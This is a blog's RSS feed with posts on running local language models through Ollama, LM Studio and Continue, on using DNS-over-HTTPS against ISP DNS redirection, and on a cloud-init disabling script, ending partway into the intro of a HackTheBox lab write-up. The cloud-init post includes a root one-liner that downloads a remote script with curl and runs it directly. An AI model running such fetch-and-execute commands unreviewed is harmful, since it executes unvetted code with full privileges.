<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Balzabu | Blog</title>
    <link>https://blog.balzabu.io/posts/</link>
    <description>Recent content on Balzabu | Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Wed, 29 Jan 2025 21:02:13 +0200</lastBuildDate>
    <atom:link href="https://blog.balzabu.io/posts/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Ollama &#43; Continue: Open-Source is Always Better!</title>
      <link>https://blog.balzabu.io/posts/deepseek-ollama-continue/</link>
      <pubDate>Wed, 29 Jan 2025 21:02:13 +0200</pubDate>
      <guid>https://blog.balzabu.io/posts/deepseek-ollama-continue/</guid>
      <description>&lt;hr&gt;
&lt;p&gt;In a previous post, I discussed setting up a local environment to run language models on your own machine (&lt;a href=&#34;https://blog.balzabu.io/posts/lmstudio_continue/&#34;&gt;Read the original post&lt;/a&gt;).
&lt;br&gt;Well, I have to admit today that I’ve concluded that while LMStudio has its merits, it doesn’t fully align with my principles. Consequently, I’ve decided to transition to &lt;strong&gt;Ollama&lt;/strong&gt; and refresh my setup to embrace the recent hype surrounding the Chinese model trained with synthetic data based on ChatGPT responses. &lt;em&gt;(FTW: Work smarter, not harder! :D)&lt;/em&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<hr>
<p>In a previous post, I discussed setting up a local environment to run language models on your own machine (<a href="https://blog.balzabu.io/posts/lmstudio_continue/">Read the original post</a>).
<br>Well, I have to admit today that I’ve concluded that while LMStudio has its merits, it doesn’t fully align with my principles. Consequently, I’ve decided to transition to <strong>Ollama</strong> and refresh my setup to embrace the recent hype surrounding the Chinese model trained with synthetic data based on ChatGPT responses. <em>(FTW: Work smarter, not harder! :D)</em></p>
<img src="../../images/ollama_continue_deepseekr1/sad_realization.jpg" title="ollama_pull" alt="sad_realization">
<hr>
<h2 id="installing-ollama">Installing Ollama</h2>
<p>Installing Ollama is straightforward. While compiling the project locally might be challenging for some, pre-built release builds are available on the official website: <a href="https://ollama.com">ollama.com</a>. Once downloaded and installed, you can use the command-line interface (CLI) to download and run models easily.</p>
<h2 id="available-deepseek-r1-models">Available DeepSeek R1 Models</h2>
<p>Here is a table summarizing the currently available <strong>DeepSeek R1</strong> models:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Size</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>deepseek-r1:1.5b</strong></td>
          <td>1.1 GB</td>
      </tr>
      <tr>
          <td><strong>deepseek-r1:7b</strong></td>
          <td>4.7 GB</td>
      </tr>
      <tr>
          <td><strong>deepseek-r1:8b</strong></td>
          <td>4.9 GB</td>
      </tr>
      <tr>
          <td><strong>deepseek-r1:14b</strong></td>
          <td>~ 9 GB</td>
      </tr>
      <tr>
          <td><strong>deepseek-r1:32b</strong></td>
          <td>~ 20 GB</td>
      </tr>
      <tr>
          <td><strong>deepseek-r1:70b</strong></td>
          <td>~ 43 GB</td>
      </tr>
      <tr>
          <td><strong>deepseek-r1:671b</strong></td>
          <td>~ 404 GB</td>
      </tr>
  </tbody>
</table>
<h2 id="selecting-the-right-model">Selecting the Right Model</h2>
<p>Selecting the appropriate model depends on your hardware. Here’s a table to help you decide:</p>
<table>
  <thead>
      <tr>
          <th>Parameters</th>
          <th>RAM</th>
          <th>VRAM</th>
          <th>Use Case</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>1.5B</strong></td>
          <td>~4 GB</td>
          <td>~3.5 GB</td>
          <td>Simple tasks on modest PCs</td>
      </tr>
      <tr>
          <td><strong>7B</strong></td>
          <td>~8–10 GB</td>
          <td>~8 GB</td>
          <td>Intermediate tasks</td>
      </tr>
      <tr>
          <td><strong>14B</strong></td>
          <td>~16 GB</td>
          <td>~12 GB</td>
          <td>Advanced tasks</td>
      </tr>
      <tr>
          <td><strong>70B</strong></td>
          <td>~40 GB</td>
          <td>~40 GB</td>
          <td>Complex tasks on powerful PCs</td>
      </tr>
      <tr>
          <td><strong>671B</strong></td>
          <td>~1,342 GB</td>
          <td>~1,342 GB</td>
          <td>Highly specialized tasks requiring extensive computational resources</td>
      </tr>
  </tbody>
</table>
<p><strong>Notes:</strong></p>
<ul>
<li>
<p>The VRAM requirements are approximate and can vary based on specific configurations and quantization techniques.</p>
</li>
<li>
<p>Quantization methods can reduce VRAM usage. For instance, a 1.58-bit quantized version of the DeepSeek-R1 model can fit into 160 GB of VRAM, allowing it to run on two NVIDIA H100 80GB GPUs. (<a href="https://unsloth.ai/blog/deepseekr1-dynamic">unsloth.ai</a>)</p>
</li>
<li>
<p>For CPU-based inference without a GPU, it&rsquo;s possible to run certain quantized versions of the model with as little as 20 GB of RAM, though performance may be slower. (<a href="https://unsloth.ai/blog/deepseekr1-dynamic">unsloth.ai</a>)</p>
</li>
</ul>
<p>When selecting a model, ensure that your hardware meets the necessary requirements to achieve optimal performance.</p>
<h2 id="downloading-and-running-the-model">Downloading and Running the Model</h2>
<p>To download and run a model using <strong>Ollama</strong>, follow these steps:</p>
<ol>
<li>
<p><strong>Start Ollama</strong>: After installation, Ollama will run in the background without displaying any visible interface.</p>
</li>
<li>
<p><strong>Download the Model</strong>: Open a terminal and execute the following command to download the desired model:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ollama pull deepseek-r1:7b</span></span></code></pre></div>
<p>This command will download the latest version of the <code>deepseek-r1:7b</code> model.</p>
<img src="../../images/ollama_continue_deepseekr1/ollama_pull.png" title="ollama_pull" alt="ollama_pull">
</li>
<li>
<p><strong>Serve the Model</strong>: Once downloaded, run the following command to expose the model on your local machine:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ollama serve</span></span></code></pre></div>
<p>By default, the model will be accessible at <code>http://localhost:11434</code>.
Additionally, after pulling a new model,the server will automatically restart to apply the changes, meaning that it will start automatically the first time we pull!</p>
</li>
</ol>
<hr>
<h2 id="models-i-downloaded">Models I Downloaded</h2>
<p>I also downloaded a few additional models to expand my local setup. Here’s the list of models I have installed on Ollama:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ollama ls</span></span></code></pre></div>
<table>
  <thead>
      <tr>
          <th>Model Name</th>
          <th>ID</th>
          <th>Size</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>llama3.2:3b</strong></td>
          <td>a80c4f17acd5</td>
          <td>2.0 GB</td>
      </tr>
      <tr>
          <td><strong>nomic-embed-text:latest</strong></td>
          <td>0a109f422b47</td>
          <td>274 MB</td>
      </tr>
      <tr>
          <td><strong>qwen2.5-coder:3b</strong></td>
          <td>e7149271c296</td>
          <td>1.9 GB</td>
      </tr>
      <tr>
          <td><strong>deepseek-r1:7b</strong></td>
          <td>0a8c26691023</td>
          <td>4.7 GB</td>
      </tr>
  </tbody>
</table>
<img src="../../images/ollama_continue_deepseekr1/ollama_ls.png" title="ollama_ls" alt="ollama_ls">
<hr>
<h2 id="integrating-with-continue-extension">Integrating with Continue Extension</h2>
<p>To integrate the model with your development environment, you can use the <a href="https://marketplace.visualstudio.com/items?itemName=Continue.continue">Continue</a> extension. After installation, update the <code>config.json</code> file to include the models you’ve downloaded.</p>
<h3 id="path-to-configjson">Path to <code>config.json</code></h3>
<ul>
<li><strong>macOS and Linux</strong>: <code>~/.continue/config.json</code></li>
<li><strong>Windows</strong>: <code>%USERPROFILE%\.continue\config.json</code></li>
</ul>
<h3 id="sample-configjson">Sample <code>config.json</code></h3>
<p>Here’s an example of what the configuration file might look like:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;allowAnonymousTelemetry&#34;</span>: <span style="color:#66d9ef">false</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;models&#34;</span>: [
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;title&#34;</span>: <span style="color:#e6db74">&#34;DeepSeek-R1 7B&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;provider&#34;</span>: <span style="color:#e6db74">&#34;ollama&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;model&#34;</span>: <span style="color:#e6db74">&#34;deepseek-r1:7b&#34;</span>
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;title&#34;</span>: <span style="color:#e6db74">&#34;LLAMA 3.2B&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;provider&#34;</span>: <span style="color:#e6db74">&#34;ollama&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;model&#34;</span>: <span style="color:#e6db74">&#34;llama3.2:3b&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;tabAutocompleteModel&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;title&#34;</span>: <span style="color:#e6db74">&#34;Qwen2.5-Coder 3B&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;provider&#34;</span>: <span style="color:#e6db74">&#34;ollama&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;model&#34;</span>: <span style="color:#e6db74">&#34;qwen2.5-coder:3b&#34;</span>
</span></span><span style="display:flex;"><span>  },
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;embeddingsProvider&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;provider&#34;</span>: <span style="color:#e6db74">&#34;ollama&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;model&#34;</span>: <span style="color:#e6db74">&#34;nomic-embed-text&#34;</span>
</span></span><span style="display:flex;"><span>  },
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;contextProviders&#34;</span>: [
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;code&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;params&#34;</span>: {}
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;docs&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;params&#34;</span>: {}
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;diff&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;params&#34;</span>: {}
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;terminal&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;params&#34;</span>: {}
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;problems&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;params&#34;</span>: {}
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;folder&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;params&#34;</span>: {}
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;codebase&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;params&#34;</span>: {}
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;slashCommands&#34;</span>: [
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;share&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;description&#34;</span>: <span style="color:#e6db74">&#34;Export the current chat session to markdown&#34;</span>
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;cmd&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;description&#34;</span>: <span style="color:#e6db74">&#34;Generate a shell command&#34;</span>
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;commit&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;description&#34;</span>: <span style="color:#e6db74">&#34;Generate a git commit message&#34;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  ]
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>Save the file, and you’re ready to generate code!</p>
<img src="../../images/ollama_continue_deepseekr1/ollama_vscode.png" title="ollama_vscode" alt="ollama_vscode">
<p><strong>Note</strong>: If you really care like me, don&rsquo;t forget to disable the Anonymous Telemetry (For additional details: <a href="https://docs.continue.dev/telemetry">docs.continue.dev</a>); also it&rsquo;s worth nothing that Ollama adds itself to the startup processes by default&hellip; if you prefer to prevent this behaviour, <strong>make sure to disable it</strong>.</p>
<p>Happy hacking!</p>
<hr>
<h2 id="contacts">Contacts</h2>
<p>For questions or suggestions, contact: <a href="mailto:noc@balzabu.io">noc@balzabu.io</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Bypassing ISP Content Blocking with DoH</title>
      <link>https://blog.balzabu.io/posts/bypassing_isp_dns_with_doh/</link>
      <pubDate>Thu, 16 Jan 2025 20:57:50 +0100</pubDate>
      <guid>https://blog.balzabu.io/posts/bypassing_isp_dns_with_doh/</guid>
      <description>&lt;p&gt;Hello!
It&amp;rsquo;s been a while since I last wrote on the blog, but unfortunately, my life has been quite hectic lately, leaving me with little time to focus on writing posts.&lt;/p&gt;
&lt;p&gt;Nonetheless, I have never stopped tackling all sorts of problems! :D
&lt;br&gt;
In fact, I recently dealt with a rather tricky issue that friends and family pointed out to me, and I decided to explore it further.&lt;/p&gt;
&lt;h3 id=&#34;the-problem&#34;&gt;The Problem&lt;/h3&gt;
&lt;p&gt;Recently, some of the largest Italian ISPs have begun enforcing DNS traffic rules.
&lt;br&gt;
This is most likely related to the crackdown on illegal content streaming, but it also opens up an interesting discussion about &lt;strong&gt;user security&lt;/strong&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Hello!
It&rsquo;s been a while since I last wrote on the blog, but unfortunately, my life has been quite hectic lately, leaving me with little time to focus on writing posts.</p>
<p>Nonetheless, I have never stopped tackling all sorts of problems! :D
<br>
In fact, I recently dealt with a rather tricky issue that friends and family pointed out to me, and I decided to explore it further.</p>
<h3 id="the-problem">The Problem</h3>
<p>Recently, some of the largest Italian ISPs have begun enforcing DNS traffic rules.
<br>
This is most likely related to the crackdown on illegal content streaming, but it also opens up an interesting discussion about <strong>user security</strong>.</p>
<p>The main risk is that by forcing users to use their DNS servers, ISPs can monitor and log all DNS requests. This means they can track which websites are visited, creating a detailed profile of users&rsquo; browsing habits.</p>
<p>Additionally, this practice could expose users to potential DNS traffic manipulations, such as redirection to malicious sites or selective blocking of certain online resources not hosting malicious contents.
<br>
Another critical aspect is that ISPs could use this information for commercial purposes or share it with third parties, further compromising user privacy.</p>
<p><img src="../../images/dns_over_https/dns_censor.png" alt="DNS Censor"></p>
<h3 id="technical-dive-in">Technical Dive-In</h3>
<p>With patience, I decided to conduct a series of in-depth tests to verify this claim. I configured various public DNS services (including Google DNS, Cloudflare, and OpenDNS) on two routers from different ISPs and monitored the DNS traffic.
The results were unequivocal: despite the DNS settings configured on the router, all DNS requests were systematically redirected to the ISP&rsquo;s DNS servers.</p>
<p>I conducted further tests on a ZTE router provided by a major Italian ISP. Even though the official manual clearly indicated an &ldquo;ISP DNS&rdquo; option that could be disabled to use custom DNS, after disabling this option, the router continued to ignore the custom DNS settings.</p>
<p><img src="../../images/dns_over_https/hardcoded-dns-settings.jpg" alt="ZTE Router Configuration Panel"></p>
<h3 id="the-solution-dns-over-https-doh">The Solution: DNS-over-HTTPS (DoH)</h3>
<p>After various attempts, the solution turned out to be the use of DNS-over-HTTPS (DoH). This technology represents a significant evolution over traditional DNS as it encapsulates DNS requests within the HTTPS protocol.</p>
<p>The working principle is simple but effective: instead of sending DNS requests in plain text over port 53 (which can be easily intercepted and modified by the ISP), DoH uses the HTTPS protocol on port 443. Since HTTPS traffic is encrypted, the ISP cannot read or modify DNS requests, making forced redirection to their servers impossible.</p>
<p>In practice, when a browser or application configured to use DoH needs to resolve a domain name, it sends an HTTPS request to a DoH server (such as those from Cloudflare or Google). The server responds with the requested IP address, all through a secure and encrypted connection.</p>
<p><img src="../../images/dns_over_https/dns_over_https.png" alt="DNS-over-HTTPS Diagram"></p>
<p>This method is particularly effective because, although the ISP can see that we are communicating with an HTTPS server, it cannot determine which DNS requests we are making or alter them.</p>
<h3 id="comparison-with-traditional-dns">Comparison with Traditional DNS</h3>
<p>To better understand the difference, let&rsquo;s look at how traditional DNS works compared to DoH. In traditional DNS, requests are sent in plain text, which means anyone on the network path, including ISPs, can see and potentially manipulate them.</p>
<p><img src="../../images/dns_over_https/traditional_dns.png" alt="Traditional DNS Diagram"></p>
<p>In contrast, DoH encrypts the requests, ensuring that only the intended DoH server can decode them. This encryption prevents ISPs and other intermediaries from viewing or altering the DNS traffic.</p>
<p><img src="../../images/dns_over_https/dns-vs-doh.png" alt="Comparison"></p>
<p>By adopting DoH, users can significantly enhance their privacy and security, bypassing ISP content blocking and preventing potential DNS manipulations.</p>
<h3 id="contacts">Contacts</h3>
<p>For questions or suggestions, contact: <a href="mailto:noc@balzabu.io">noc@balzabu.io</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>LM Studio &#43; Continue: A Free Alternative to GitHub Copilot</title>
      <link>https://blog.balzabu.io/posts/lmstudio_continue/</link>
      <pubDate>Thu, 01 Feb 2024 16:03:53 +0100</pubDate>
      <guid>https://blog.balzabu.io/posts/lmstudio_continue/</guid>
      <description>&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;Updated on 2025-01-29&lt;/p&gt;
&lt;p&gt;I stopped using LM Studio and switched over Ollama.
You can read the shiny and brand new post here: &lt;a href=&#34;https://blog.balzabu.io/posts/deepseek-ollama-continue/&#34;&gt;&lt;em&gt;Ollama + Continue: Open-Source is Always Better!&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The realm of technology is constantly in the pursuit of innovation. Among the latest advancements, LM (Language Model) tools have revolutionized programming, making tasks seemingly effortless. But why shell out for them when these capabilities can be accessed for free? Discover LM Studio and Continue, which offer a local solution with unparalleled advantages.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<hr>
<blockquote>
<p>Updated on 2025-01-29</p>
<p>I stopped using LM Studio and switched over Ollama.
You can read the shiny and brand new post here: <a href="https://blog.balzabu.io/posts/deepseek-ollama-continue/"><em>Ollama + Continue: Open-Source is Always Better!</em></a></p>
</blockquote>
<p>The realm of technology is constantly in the pursuit of innovation. Among the latest advancements, LM (Language Model) tools have revolutionized programming, making tasks seemingly effortless. But why shell out for them when these capabilities can be accessed for free? Discover LM Studio and Continue, which offer a local solution with unparalleled advantages.</p>
<h3 id="the-advantages-of-local-lm-models">The Advantages of Local LM Models</h3>
<p>Embracing a local LM model comes with a host of benefits:</p>
<ul>
<li><strong>Cost-free</strong>: No subscription fees; use it at no extra cost.</li>
<li><strong>Complete Offline Access</strong>: Work seamlessly even without an internet connection.</li>
<li><strong>Full Prompt Control</strong>: Customize prompts to tailor results to your exact needs.</li>
</ul>
<p>Of course, it&rsquo;s essential to weigh the drawbacks alongside the perks:</p>
<ul>
<li><strong>Hardware Requirements</strong>: Consider the computing power needed to run these models effectively.</li>
<li><strong>Model Variability</strong>: Not all models are created in the same way; some may lack the sophistication of their proprietary counterparts.</li>
</ul>
<h3 id="lm-studio-configuration">LM Studio Configuration</h3>
<p>Configuring LM Studio is a breeze.
<br>Begin by downloading a preferred build from the official LM Studio website <a href="https://lmstudio.ai/">lmstudio.ai</a>.
<br>
After installation, launch the application manually to access the Home screen.</p>
<p><img src="../../images/lmstudio_continue/home_lmstudio.png" alt="LM Home"></p>
<p>Utilize the search bar at the center of the Home screen to locate desired models.
<br>
To make it all easier, Meta&rsquo;s Code LLama model is <strong>recommended</strong>.</p>
<p>Searching for <code>Code LLama</code> will yield various results, as LM Studio can search and download available models from platforms like Hugging Face.</p>
<p><img src="../../images/lmstudio_continue/code_llama_lmstudio.png" alt="Code LLama Search"></p>
<p>Each model offers different quantizations to compress its size.
<br>
<strong>Always verify model details on Hugging Face before selecting based on your hardware</strong>.
<br>In this case, we&rsquo;ll use the <a href="https://huggingface.co/TheBloke/CodeLlama-13B-Instruct-GGUF">Code LLama 13B</a> model.</p>
<p>Once downloaded, navigate to the <code>AI Chat</code> section of LM Studio to load the model. Additionally, LM Studio can be configured to use it as a server.</p>
<p>Choosing the right model is crucial, considering hardware capabilities. Opt for a model that runs smoothly on your system to avoid performance issues.</p>
<p><img src="../../images/lmstudio_continue/chat_ai_lmstudio.png" alt="AI Chat"></p>
<p>As you can see from my screenshot, it&rsquo;s possible to configure LM Studio to offload operations to the GPU, though optimal settings may vary.
Experiment with different configurations to find the most efficient setup for your hardware.
<strong>Remember that LM Studio will run on 4 CPU cores by default.</strong></p>
<p>After configuring parameters, start the Local Server via the &ldquo;Local Server&rdquo; section of LM Studio. Specify a port and other parameters, <strong>but note</strong> that <strong>changing the default port</strong> may cause issues with the Visual Studio Code extension we&rsquo;ll use later.</p>
<p><img src="../../images/lmstudio_continue/local_server_lmstudio.png" alt="Local Server"></p>
<h3 id="visual-studio-code-configuration">Visual Studio Code Configuration</h3>
<p>With a local model ready and waiting, it&rsquo;s time to connect using the open-source <code>Continue</code> extension in Visual Studio Code.</p>
<p><img src="../../images/lmstudio_continue/continue_vs_extension.png" alt="Continue Extension"></p>
<p>After installation, configure the extension to use your LM Studio server by editing the <code>config.json</code> file. This file is typically found at:</p>
<ul>
<li>Windows: <code>C:/Users/{user}/.continue/config.json</code></li>
<li>Linux/Mac: <code>~/.continue/config.json</code></li>
</ul>
<p><img src="../../images/lmstudio_continue/continue_original_config.png" alt="Original config.json"></p>
<p>Add your local model to the <code>models</code> array, ensuring to include <code>title</code>, <code>provider</code>, and <code>model</code> parameters.
<br>
<strong>Set <code>allowAnonymousTelemetry</code> to <code>false</code></strong>.</p>
<p><img src="../../images/lmstudio_continue/continue_custom_config.png" alt="Original config.json"></p>
<p>Save the file, and you&rsquo;re ready to generate code locally in Visual Studio Code using your LM Studio model!</p>
<p><img src="../../images/lmstudio_continue/continue_test.png" alt="Extension test"></p>
<p>For a comprehensive understanding of the extension&rsquo;s features, refer to the official project wiki <a href="https://continue.dev/docs/how-to-use-continue">here</a>.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Wrapping up our dive into LM Studio and Continue, we&rsquo;ve found a whole new way to rock coding without breaking the bank. These local models give you all the power without any subscription fees. And with easy setup in Visual Studio Code, you&rsquo;re ready to roll.</p>
<p>So, let&rsquo;s get coding!</p>
<h3 id="contacts">Contacts</h3>
<p>For questions or suggestions, contact: <a href="mailto:noc@balzabu.io">noc@balzabu.io</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Automating cloud-init Disabling on Ubuntu Servers</title>
      <link>https://blog.balzabu.io/posts/disable-cloud-init/</link>
      <pubDate>Fri, 29 Dec 2023 13:39:50 +0100</pubDate>
      <guid>https://blog.balzabu.io/posts/disable-cloud-init/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Managing cloud infrastructure often involves dealing with various initialization and configuration tasks. For Ubuntu servers, the &lt;code&gt;cloud-init&lt;/code&gt; package plays a crucial role in handling these tasks during the instance boot process. However, there may be scenarios where you want to disable &lt;code&gt;cloud-init&lt;/code&gt; for specific use cases or configurations.&lt;/p&gt;
&lt;p&gt;To simplify this process, I&amp;rsquo;ve created a Bash script called &lt;code&gt;disable-cloud-init&lt;/code&gt;. This script automates the task of disabling &lt;code&gt;cloud-init&lt;/code&gt; on Ubuntu servers in a non-interactive manner, streamlining the configuration process.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<hr>
<h2 id="introduction">Introduction</h2>
<p>Managing cloud infrastructure often involves dealing with various initialization and configuration tasks. For Ubuntu servers, the <code>cloud-init</code> package plays a crucial role in handling these tasks during the instance boot process. However, there may be scenarios where you want to disable <code>cloud-init</code> for specific use cases or configurations.</p>
<p>To simplify this process, I&rsquo;ve created a Bash script called <code>disable-cloud-init</code>. This script automates the task of disabling <code>cloud-init</code> on Ubuntu servers in a non-interactive manner, streamlining the configuration process.</p>
<h2 id="features">Features</h2>
<ul>
<li><strong>Automation</strong>: The script automates the process of disabling <code>cloud-init</code>, saving time and effort.</li>
<li><strong>Non-Interactive</strong>: Designed to be run in a non-interactive environment, so you won&rsquo;t have to specify or do anything.</li>
<li><strong>Based on Gist</strong>: The script is based on <a href="https://gist.github.com/zoilomora/f862f76335f5f53644a1b8e55fe98320">this Gist</a>, providing a reliable foundation.</li>
</ul>
<h2 id="usage">Usage</h2>
<h3 id="prerequisites">Prerequisites</h3>
<p>Before using the script, ensure:</p>
<ul>
<li>You are using an Ubuntu server.</li>
<li>You have the necessary privileges (root access) to execute the script.</li>
</ul>
<h3 id="running-the-script">Running the Script</h3>
<p>Execute the following one-liner in your terminal to run the script:</p>






<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bash -c <span style="color:#e6db74">&#34;</span><span style="color:#66d9ef">$(</span>curl -fsSL https://raw.githubusercontent.com/balzabu/disable-cloud-init/main/disable-cloud-init.sh<span style="color:#66d9ef">)</span><span style="color:#e6db74">&#34;</span></span></span></code></pre></div>
<blockquote>
<p>Note: after running the script, consider performing a manual reboot to ensure that the changes take effect.</p>
</blockquote>
<h2 id="conclusion">Conclusion</h2>
<p>Feel free to <a href="https://github.com/balzabu/disable-cloud-init">check out the project on GitHub</a> and give it a try on your Ubuntu servers. Your feedback and contributions are highly appreciated!</p>
<p>Happy scripting!</p>
<h2 id="contacts">Contacts</h2>
<p>For questions or suggestions, contact: <a href="mailto:noc@balzabu.io">noc@balzabu.io</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>HackTheBox: Devvortex Writeup</title>
      <link>https://blog.balzabu.io/posts/hackthebox-devvortex/</link>
      <pubDate>Wed, 20 Dec 2023 01:24:03 +0100</pubDate>
      <guid>https://blog.balzabu.io/posts/hackthebox-devvortex/</guid>
      <description>&lt;p&gt;HackTheBox is an online platform designed for testing and improving your penetration testing skills.&lt;/p&gt;
&lt;p&gt;It provides access to a variety of vulnerable labs that are regularly updated; these labs offer a mix of realistic scenarios and Capture The Flag (CTF) challenges.&lt;/p&gt;
&lt;p&gt;I have decided to start publishing some of my Hack The Box writeups as I solve them. It&amp;rsquo;s a fun and educational way for me to learn new things in the field of penetration testing.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>HackTheBox is an online platform designed for testing and improving your penetration testing skills.</p>
<p>It provides access to a variety of vulnerable labs that are regularly updated; these labs offer a mix of realistic scenarios and Capture The Flag (CTF) challenges.</p>
<p>I have decided to start publishing some of my Hack The Box writeups as I solve them. It&rsquo;s a fun and educational way for me to learn new things in the field of penetration testing.</p>
<p>In this blog post, I will be discussing the machine <code>Devvortex</code>.</p>
<hr>
<h2 id="devvortex-machine-specifications">Devvortex Machine Specifications</h2>
<ul>
<li><strong>Operating System:</strong> Linux</li>
<li><strong>Difficulty:</strong> Easy</li>
<li><strong>Target IP Address:</strong> 10.10.11.242</li>
</ul>
<hr>
<h2 id="basic-enumeration">Basic Enumeration</h2>
<p>Firstly, as usual, I added the Target IP Address to my <code>/etc/hosts</code> file to assign a local domain name for it.</p>






